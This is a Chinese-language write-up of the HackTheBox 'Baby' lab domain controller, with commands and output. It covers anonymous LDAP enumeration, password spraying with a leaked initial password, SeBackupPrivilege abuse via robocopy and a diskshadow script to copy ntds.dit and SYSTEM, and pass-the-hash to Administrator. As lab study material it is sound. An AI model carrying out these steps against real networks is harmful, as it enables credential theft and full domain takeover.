HackTheBox Baby:匿名 LDAP 枚举、密码喷洒与 SeBackupPrivilege 提权

一句话摘要

file-20260603115520572

一、信息搜集#

1、TCP 全端口扫描#

根据上述 TCP 端口的开放以及它们对应的服务指纹,基本可以确认,目标是 AD 中的 DC(域控)。

对开放端口进行进一步的详细扫描。

先提取端口:

Bash
$ cat tcp_ports.nmap | grep -oP '^\d+' | paste -s -d ','
53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,49664,49669,50682,58702,58703,61940,61953

扫描:

从扫描结果中能看到两个域名:

  • baby.vl0.(源于 389、3268)
  • baby.vl(源于对 3389 的脚本扫描结果)

但这并不是真的代表有两个域,真正的域名只有一个,baby.vl。

至于出现“baby.vl0.”,这是 nmap 的一个已知 Bug,在 nmap 的 github 仓库的 issues 界面,搜索:

Text
LDAP trailing 0

就可以找到这个 BUG:

file-20260603152251321

核心问题:正则表达式的贪婪匹配。

直接通过 nmap 源码理解这个 BUG 可能有点抽象,我将采取抓流量的方式来直观理解这一过程。

首先,打开 wireshark 并且选择监听 Tun 0 的流量。接着对 LDAP 端口进行针对性的扫描:

Bash
$sudo nmap -sV -p 389 -Pn -n 10.129.234.71
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-03 15:08 CST
Nmap scan report for 10.129.234.71
Host is up (0.39s latency).

PORT    STATE SERVICE VERSION
389/tcp open  ldap    Microsoft Windows Active Directory LDAP (Domain: baby.vl0., Site: Default-First-Site-Name)
Service Info: Host: BABYDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.19 seconds

此时回到 wireshark 就能看到具体的交互细节。

-sV 模式本质上用的是 -sT 的方式去探测端口的存活性,于是先看到的是 TCP 三次握手中的第一个握手包,在收到目标发来的第二次握手包的时候,足以判断目标该端口的开放性,因此 nmap 直接发送了 RST Flag 以结束建立连接。

file-20260603153912276

端口确认存活之后,就是建立真正的 TCP 连接,即完成三次握手:

file-20260603154726852

随后,为了获取服务的详细指纹,nmap 进行了 LDAP 中的 search 操作:

file-20260603155152710

search 的三个关键:

  • base:空,代表根 DSE
  • scope:base
  • filter:(objectClass=*)

也就是只查询根 DSE 这一个条目,并且匹配条件是存在/看得到 objectClass 这个属性。

根 DSE 的唯一作用是向客户端暴露服务器自身的能力和配置信息,从中能得到域名等信息。

目标根据请求,进行 search 操作,并返回结果:

file-20260603161238602

可以看到一个 LDAP 数据包中“塞着”两个 LDAP 消息:一个是 searchResEntry,另一个是 searchResDone,前者用于装返回的 Entry,后者表示 LDAP 的操作结果(不装数据)。

聚焦,searchResEntry:

file-20260603161549108

可以看到共返回了 22 个属性,聚焦 namp 的正则表达式截取的部分:

file-20260603163005535

域名通过 DN 中的 DC 字段得到:

Text
DC=baby,DC=vl

得到的域名为:

Text
baby.vl

那么为什么 namp 会得到:

Text
baby.vl0.

这个结果呢?

从 nmap 的源码中可以找到对应的正则表达式:

Text
match ldap m|^0\x84\0\0..\x02\x01.*dsServiceName1\x84\0\0\0.\x04.CN=NTDS\x20Settings,CN=([^,]+),CN=Servers,CN=([^,]+),CN=Sites,CN=Configuration,DC=([^,]+),DC=([^,]+)0\x84\0|s p/Microsoft Windows Active Directory LDAP/ i/Domain: $3.$4, Site: $2/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a

关键在于 $4 捕获组,其对应的正则表达式为:

Text
DC=([^,]+)0\x84\0|s

[^,]+ 属于贪婪匹配,会尽可能地搜索“非 ,”的字符,这就导致最终匹配的结果在:

file-20260603194329632

这意味着,捕获到的内容是一大串的信息,但是由于空字符(\x00)的截断,因此我们才看到:

Text
baby.vl0.(其实后面还有一大串,只是被 \x00 截断了)

\x84 虽然不是一个有效的 ASCII 字符(超过 127 了),但是 nmap 中把它解释成点 .。

回到正题,之前的 nmap 输出还没完全分析完:

  • 目标的主机名:BabyDC.baby.vl
  • smb2-security-mode 脚本的扫描结果为:Message signing enabled and required。这说明我们无法使用 SMB relay

将看到的两个域名都添加到本地域名解析文件(/etc/hosts)中:

Text
10.129.234.71 BabyDC.baby.vl baby.vl

2、匿名枚举#

445 开放,首先尝试 SMB NULL Session 共享枚举:

Bash
$netexec smb 10.129.234.71 -u '' -p '' --shares
SMB         10.129.234.71   445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.234.71   445    BABYDC           [+] baby.vl\:
SMB         10.129.234.71   445    BABYDC           [-] Error enumerating shares: STATUS_ACCESS_DENIED

STATUS_ACCESS_DENIED,无法通过匿名方式访问。

尝试 guest 账户 + 空密码去枚举共享:

Bash
$netexec smb 10.129.234.71 -u guest -p '' --shares
SMB         10.129.234.71   445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.234.71   445    BABYDC           [-] baby.vl\guest: STATUS_ACCOUNT_DISABLED

依旧失败,这次的提示是 STATUS_ACCOUNT_DISABLED,官方对该状态码的描述是:

Text
The referenced account is currently disabled and cannot be logged on to.

即该账号确实存在,但是禁止被使用中。

尝试 LDAP 匿名 bind,去枚举合法用户。

有了上面“对 nmap 针对 LDAP 嗅探”的底层挖掘之后,我们应该知道 LDAP 是允许匿名 bind 的。

Bash
$netexec ldap 10.129.234.71 -u '' -p '' --users
LDAP        10.129.234.71   389    BABYDC           [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.234.71   389    BABYDC           [+] baby.vl\:
LDAP        10.129.234.71   389    BABYDC           [*] Enumerated 9 domain users: baby.vl
LDAP        10.129.234.71   389    BABYDC           -Username-                    -Last PW Set-       -BadPW-  -Description-                     
LDAP        10.129.234.71   389    BABYDC           Guest                         <never>             0        Built-in account for guest access to the computer/domain
LDAP        10.129.234.71   389    BABYDC           Jacqueline.Barnett            2021-11-21 23:11:03 0                                          
LDAP        10.129.234.71   389    BABYDC           Ashley.Webb                   2021-11-21 23:11:03 0                                          
LDAP        10.129.234.71   389    BABYDC           Hugh.George                   2021-11-21 23:11:03 0                                          
LDAP        10.129.234.71   389    BABYDC           Leonard.Dyer                  2021-11-21 23:11:03 0                                          
LDAP        10.129.234.71   389    BABYDC           Connor.Wilkinson              2021-11-21 23:11:08 0                                          
LDAP        10.129.234.71   389    BABYDC           Joseph.Hughes                 2021-11-21 23:11:08 0                                          
LDAP        10.129.234.71   389    BABYDC           Kerry.Wilson                  2021-11-21 23:11:08 0                                          
LDAP        10.129.234.71   389    BABYDC           Teresa.Bell                   2021-11-21 23:14:37 0        Set initial password to BabyStart123!

不仅带出来了部分合法用户,还带出一个关键信息(位于 Teresa.Bell 的 Description 当中):

Text
Set initial password to BabyStart123!

用户的初始密码为 BabyStart123!

注意“!”也是密码的一部分。

但是,域内用户定期就会强制要求更改密码,因此这个初始密码不一定奏效,但是值得尝试。

在密码喷洒之前,先尝试枚举密码策略:

Bash
 $netexec ldap 10.129.234.71 -u '' -p '' --pass-pol
LDAP        10.129.234.71   389    BABYDC           [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.234.71   389    BABYDC           [+] baby.vl\:
LDAP        10.129.234.71   389    BABYDC           [-] No domain password policy found!

提示没找到,这并不意味着没有密码策略,只是匿名用户没有权限枚举到密码策略。

尝试通过构造原始 LDAP 查询,来查找用户登入失败次数:

通过输出可以发现,之前看到的合法用户目前登入失败的次数都是 0 ,这意味着:虽然没看到密码策略,但是我们至少可以进行一次尝试,而且刚好目前的密码仅有一个。

但是此次输出的信息,远不止这些。

除了之前枚举出来的合法用户,我们还能观察到很多其他的条目([+] ……)。但这些条目并没有显示出我们指定的属性信息,有两个原因:

  • 没有该属性
  • 没有权限读取该条目的属性

个人偏向于后者,因为我们现在处于匿名枚举的状态,权限有限制。但是到底是什么情况,还得额外验证一下。

将限制放宽,捕获所有的属性:

一些条目的属性依旧不显示,因此可以判定,是权限问题导致的属性不输出。

而之前的 --users 之所以能枚举到合法用户,依据就是“某属性的某值”被代码写的正则所匹配。如果读不到对应的属性,则无法判定为合法用户,因而没有输出。

简单来说,我们可能错过了一些用户(没权限读属性,--users 缺少依据)。

Distinguised Name(DN)中的 cn 可能会有用户的信息,从上述输出中可以提取:

为了方便提取,我在执行上述命令之前,先将之前 LDAP 查询的输出存到了 out.txt 文件当中。

但是 CN 中并不全是用户信息,可能包含:

  • 内置账户
  • 安全组
  • 容器/Schema 对象
  • 组织单元 OU
  • 真实用户

真正需要的是“真实用户”这一部分,手工提取一下(看那些不是在描述功能的即可):

Text
Ian Walker
Leonard Dyer
Hugh George
Ashley Webb
Jacqueline Barnett
Caroline Robinson
Teresa Bell
Kerry Wilson
Joseph Hughes
Connor Wilkinson

为什么不提取“内置账户”呢?

原因:通常无效,而且会引入更多的噪声。对于这一部分通常采用额外的策略,而不是和普通用户一起。

根据之前通过 --users 看到的用户名,我们也将中间的空格给替换成 .,即:

Bash
$cat users.txt | sed 's/ /./'
Ian.Walker
Leonard.Dyer
Hugh.George
Ashley.Webb
Jacqueline.Barnett
Caroline.Robinson
Teresa.Bell
Kerry.Wilson
Joseph.Hughes
Connor.Wilkinson

这就作为我们的 user.txt。

现在就可以开始密码喷洒了:

Bash
$netexec ldap 10.129.234.71 -u users.txt -p 'BabyStart123!'
LDAP        10.129.234.71   389    BABYDC           [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.234.71   389    BABYDC           [-] baby.vl\Ian.Walker:BabyStart123!
LDAP        10.129.234.71   389    BABYDC           [-] baby.vl\Leonard.Dyer:BabyStart123!
LDAP        10.129.234.71   389    BABYDC           [-] baby.vl\Hugh.George:BabyStart123!
LDAP        10.129.234.71   389    BABYDC           [-] baby.vl\Ashley.Webb:BabyStart123!
LDAP        10.129.234.71   389    BABYDC           [-] baby.vl\Jacqueline.Barnett:BabyStart123!
LDAP        10.129.234.71   389    BABYDC           [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
LDAP        10.129.234.71   389    BABYDC           [-] baby.vl\Teresa.Bell:BabyStart123!
LDAP        10.129.234.71   389    BABYDC           [-] baby.vl\Kerry.Wilson:BabyStart123!
LDAP        10.129.234.71   389    BABYDC           [-] baby.vl\Joseph.Hughes:BabyStart123!
LDAP        10.129.234.71   389    BABYDC           [-] baby.vl\Connor.Wilkinson:BabyStart123!

发现 Caroline.Robinson 用户的状态为:

Text
STATUS_PASSWORD_MUST_CHANGE

也就是说,该用户目前依旧在使用初始密码,但需要再次登入时,会提示需要“更改密码”后才能登入。

NetExec 工具中有对应的更改密码的模块,但是需要指定为 smb 协议:

Bash
$netexec smb 10.129.234.71 -u 'Caroline.Robinson' -p 'BabyStart123!' -M change-password -o NEWPASS=zyf@zyf123.com
SMB         10.129.234.71   445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.234.71   445    BABYDC           [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
CHANGE-P... 10.129.234.71   445    BABYDC           [+] Successfully changed password for Caroline.Robinson

提示更改密码成功了。

二、User Flag#

拿到新的用户,重新开始枚举,依旧从 SMB 共享开始:

Bash
$netexec smb 10.129.234.71 -u 'Caroline.Robinson' -p 'zyf@zyf123.com' --shares
SMB         10.129.234.71   445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.234.71   445    BABYDC           [+] baby.vl\Caroline.Robinson:zyf@zyf123.com
SMB         10.129.234.71   445    BABYDC           [*] Enumerated shares
SMB         10.129.234.71   445    BABYDC           Share           Permissions     Remark
SMB         10.129.234.71   445    BABYDC           -----           -----------     ------
SMB         10.129.234.71   445    BABYDC           ADMIN$          READ            Remote Admin
SMB         10.129.234.71   445    BABYDC           C$              READ,WRITE      Default share
SMB         10.129.234.71   445    BABYDC           IPC$            READ            Remote IPC
SMB         10.129.234.71   445    BABYDC           NETLOGON        READ            Logon server share
SMB         10.129.234.71   445    BABYDC           SYSVOL          READ            Logon server share

建立与 $C 共享的 SMB Session:

Bash
$smbclient //10.129.234.71/c$ -U 'Caroline.Robinson'%'zyf@zyf123.com'
Try "help" to get a list of possible commands.
smb: \> 

在该用户的桌面目录中,有 user flag,通过 get 命令下载到本地:

Bash
smb: \Users\Caroline.Robinson\Desktop\> get user.txt
getting file \Users\Caroline.Robinson\Desktop\user.txt of size 34 as user.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)

读取就得到了 User Flag:

Bash
$cat user.txt
a15f89**************************

三、Root Flag#

1、WinRM#

在之前的端口扫描中,可以发现开放了这么一个端口:

Text
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0

虽然指纹信息显示这是 http 服务,但是根据端口以及目标是 Windows,几乎可以判定这其实是 WinRM。

WinRM(Windows Remote Management),可以理解为 Windows 的远程管理协议栈。它常用于远程执行命令、远程 PowerShell、WMI 管理、事件转发、服务器运维自动化等场景。WinRM 是微软对 WS-Management(简写:WS-Man) 这个开放标准的实现。

WS-Man 这个开放标准,使用 SOAP/XML 格式的消息,通过 HTTP(S) 来传输管理操作。所以一个 WinRM 会话的真实样子是这样的层叠结构:

Text
你敲的 PowerShell 命令 → PowerShell Remoting(PSRemoting)→ WS-Man 标准 → SOAP/XML 消息 → HTTP(S) → 端口 5985(HTTP)/ 5986(HTTPS)

简单来说,WinRM 把“管理 Windows 这件事”包装成 Web 服务的协议。你对一台机器下的每一条管理指令(重启、查进程、跑一段 PowerShell),在底层都变成了一个 HTTP 请求。

对 WinRM 最常用的工具是 evil-winrm,可以尝试用得到的凭证来获取远程 Powershell 执行:

Bash
$evil-winrm -i 10.129.234.71 -u 'Caroline.Robinson' -p 'zyf@zyf123.com'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents>

成功。说明此端口确实是 WinRM,并且凭证有效。而且,从抓到的流量上看,认证的方式采用的是 Negotiate:

file-20260604150236668

它会自动在 Kerberos 与 NTML 之间挑选(优先 Kerberos),但是由于我们提供的并不是票据,它就退化成了 NTLM。

简单浏览之后,就能发现 root.txt 的所在位置:

当然,目前只有列举的权限,并没有对文件的读取权限:

PowerShell
*Evil-WinRM* PS C:\Users> type Administrator/Desktop/root.txt
Access to the path 'C:\Users\Administrator\Desktop\root.txt' is denied.
At line:1 char:1
+ type Administrator/Desktop/root.txt
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (C:\Users\Administrator\Desktop\root.txt:String) [Get-Content], UnauthorizedAccessException
    + FullyQualifiedErrorId : GetContentReaderUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetContentCommand

需要横向或提权之后,才可能有读取的权限。

先看看当前账号的能力:

有一个极高的权限:SeBackupPrivilege。

2、SeBackupPrivilege#

(1)原理解析#

SeBackupPrivilege 这个权限,可以绕过系统所有的文件访问控制列表(ACL)的限制,去读取电脑上的任何文件。

其实该权限本身只是一个文件备份权限,为什么能读取任意文件呢?

要理解这个,得知道 Windows 的访问控制有两道独立的门:

  • 第一道门:DACL(每个文件自己的 ACL),讲述的是“你这个账户,对这个文件有没有读权限。”
  • 第二道门:Access Token(访问令牌)上的 privilege(特权),即系统级的身份权利,跟具体哪个文件无关。

SeBackupPrivilege 属于第二道门。由于独立性,即使 ACL 上明令不允许你访问某该文件,但是只要你的 token 上描述的 privilege 允许你这么做,那么就不会被拒绝。

这就和警察办案差不多,你的私宅理论上别人不能私自进来(ACL),但是警察被赋予了“在办案中,依法对个人住宅展开调查”的权限(privilege),他们在依法办案时,就是能进入。(当然,这个例子的灵感源于电视剧,真实环境中我并不知晓)

而 SeBackupPrivilege 描述的能力就是:你可以对任何文件进行备份。

那么,“能否实现任意文件读取”就取决于你对备份文件的权限。

要知道,一个文件的 ACL,是和文件数据分开存储的元数据,读数据和读 ACL 是两个独立的操作。

那么,对文件进行备份的时候,大多数的工具只会读取数据而不去读取 ACL,这就意味着备份出来的副本会拿到一个全新的 ACL。

这个新的 ACL 会继承自父目录,并且将创建该副本的你设置为 Owner。

因此,只要在一个我们本来就具有读写权限的目录(C:\Windows\Temp\)作为备份文件的存放位置,我们就可以实现“任意文件读取”。

(2)目标确立#

在利用之前 ,首先搞清楚目标是什么?

在 AD 中,敏感文件可以是:

  • SAM:位置 C:\Windows\System32\config\SAM,这是本地用户密码的 NTLM 哈希
  • SYSTEM:位置 C:\Windows\System32\config\SYSTEM,启动密钥
  • SECURITY:位置 C:\Windows\System32\config\SECURITY,缓存的域凭证、LSA Secrets
  • NTDS.dit:位置 C:\Windows\NTDS\ntds.dit,AD 中的数据库,包含整个域的所有用户、计算机、组和密码哈希

当然,在靶场中,甚至可以将目标限定于 root.txt。

(3)Root Flag#

通过 robocopy 命令将 root.txt 备份至 C:\Windows\Temp:

/B 参数会让 robocopy 进入 Backup mode,利用已启用的 SeBackupPrivilege 绕过 ACL 完成复制。

读取备份文件即可得到 root flag:

PowerShell
type c:\Windows\Temp\root.txt
34b7d3***********************

(4)Beyond Flag#

但是,作为学习目的,我们转移一下目标:NTDS.dit。

这个文件无法直接通过上述方法进行备份复制,因为在 AD 中的 DC 上,Active Directory Domain Services(NTDS 服务)持续持有该文件句柄并处于被读取状态。

常见的解决方法有两个:

  1. Volume Shadow Copy
  2. DiskShadow

先尝试第一种。

创建影卷副本:

PowerShell
*Evil-WinRM* PS C:\Users\Administrator\Desktop> vssadmin create shadow /for=C:
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.

Error: You don't have the correct permissions to run this command.  Please run this utility from a command
window that has elevated administrator privileges.

权限直接阻止了这个操作。

尝试第二种方法。

先在攻击机上创建 diskshadow 脚本:

Text
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
set context persistent
begin backup
add volume C: alias cdrive
create
expose %cdrive% Z:
end backup
Bash
 $cat shadow.dsh
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
set context persistent
begin backup
add volume C: alias cdrive
create
expose %cdrive% Z:
end backup

注意,Linux 的换行符和 Windows 上的换行符是不一样的,前者为 \n 后者为 \r\n。

通过 sed 命令添加一下 \r:

Bash
$sed -i 's/$/\r/' shadow.dsh

检验:

Bash
 $cat -A shadow.dsh
set verbose on^M$
set metadata C:\Windows\Temp\meta.cab^M$
set context clientaccessible^M$
set context persistent^M$
begin backup^M$
add volume C: alias cdrive^M$
create^M$
expose %cdrive% Z:^M$
end backup^M$

看到末尾是 ^M 就成功了。

^M = Ctrl+M = ASCII 码 (77 - 64) = 13 = 0x0D = \r

上传到目标上,evil-winrm 提供了很方便的文件操作命令:

PowerShell
*Evil-WinRM* PS C:\Windows\Temp> upload shadow.dsh

Info: Uploading /home/zyf/htb_workdir/baby/shadow.dsh to C:\Windows\Temp\shadow.dsh

Data: 252 bytes of 252 bytes copied

Info: Upload successful!

运行该脚本:

PowerShell
*Evil-WinRM* PS C:\Windows\Temp> diskshadow /s C:\Windows\Temp\shadow.dsh
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  BABYDC,  6/4/2026 8:57:11 AM

-> set verbose on
-> set metadata C:\Windows\Temp\meta.cab
The metadata file name path specifies a directory that is read-only.

很奇怪,提示 C:\Windows\Temp 这个目录“只读”,但是我命名可以写文件进去:

PowerShell
*Evil-WinRM* PS C:\Windows\Temp> echo 'test' > test.txt
*Evil-WinRM* PS C:\Windows\Temp> type test.txt
test

尝试自己新建一个目录:

PowerShell
*Evil-WinRM* PS C:\Windows\Temp> New-Item -ItemType Directory -Path C:\Temp -Force


    Directory: C:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          6/4/2026   9:08 AM                Temp

重新修改脚本(这次直接在 evil-winrm 中操作):

PowerShell
Remove-Item C:\Windows\Temp\shadow.dsh -ErrorAction SilentlyContinue
Add-Content C:\Windows\Temp\shadow.dsh "set verbose on"
Add-Content C:\Windows\Temp\shadow.dsh "set metadata C:\Temp\meta.cab"
Add-Content C:\Windows\Temp\shadow.dsh "set context clientaccessible"
Add-Content C:\Windows\Temp\shadow.dsh "set context persistent"
Add-Content C:\Windows\Temp\shadow.dsh "begin backup"
Add-Content C:\Windows\Temp\shadow.dsh "add volume C: alias cdrive"
Add-Content C:\Windows\Temp\shadow.dsh "create"
Add-Content C:\Windows\Temp\shadow.dsh "expose %cdrive% Z:"
Add-Content C:\Windows\Temp\shadow.dsh "end backup"

再次运行:

这次脚本都运行完成了。

根据脚本,卷影副本会被挂载为 Z: 盘,直接从 Z: 复制:

同样的方式,把 SYSTEM 也备份出来:

为什么还需要 SYSTEM 呢?

NTDS.dit 里存储的域用户密码 hash(NTLM、Kerberos 等)是用从 SYSTEM hive 提取的 Bootkey 加密的。没有 SYSTEM,你就拿不到解密所需的密钥材料。

将两个文件都下载到本地:

PowerShell
*Evil-WinRM* PS C:\Windows\Temp> download ntds.dit

Info: Downloading C:\Windows\Temp\ntds.dit to ntds.dit

Info: Download successful!
PowerShell
*Evil-WinRM* PS C:\Windows\Temp> download SYSTEM

Info: Downloading C:\Windows\Temp\SYSTEM to SYSTEM

Info: Download successful!

本地提取 Hash:

域控上的管理员的 NTLM-Hash:

Text
ee4457ae59f1e3fbd764e33d9cef123d

我们之前抓取流量,看到 winrm 采用的是 negotiate 认证,换言之,允许我们使用 NTLM 认证。

我们上一步得到的 NTLM-Hash 可以直接做 Pass-the-Hash 去获得远程 Powershell:

Bash
$evil-winrm -H ee4457ae59f1e3fbd764e33d9cef123d -u Administrator -i 10.129.234.71

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
baby\administrator

键盘快捷键

全站

CtrlK
搜索
/
搜索
?
显示快捷键
Esc
关闭弹窗、退出模式

阅读文章

T
目录
F
专注模式
A
批注模式

批注模式

P
笔
H
荧光笔
L
激光笔
E
橡皮擦
1–6
切换颜色
Shift
按住拖动画直线
CtrlZ
撤销
CtrlShiftZ
重做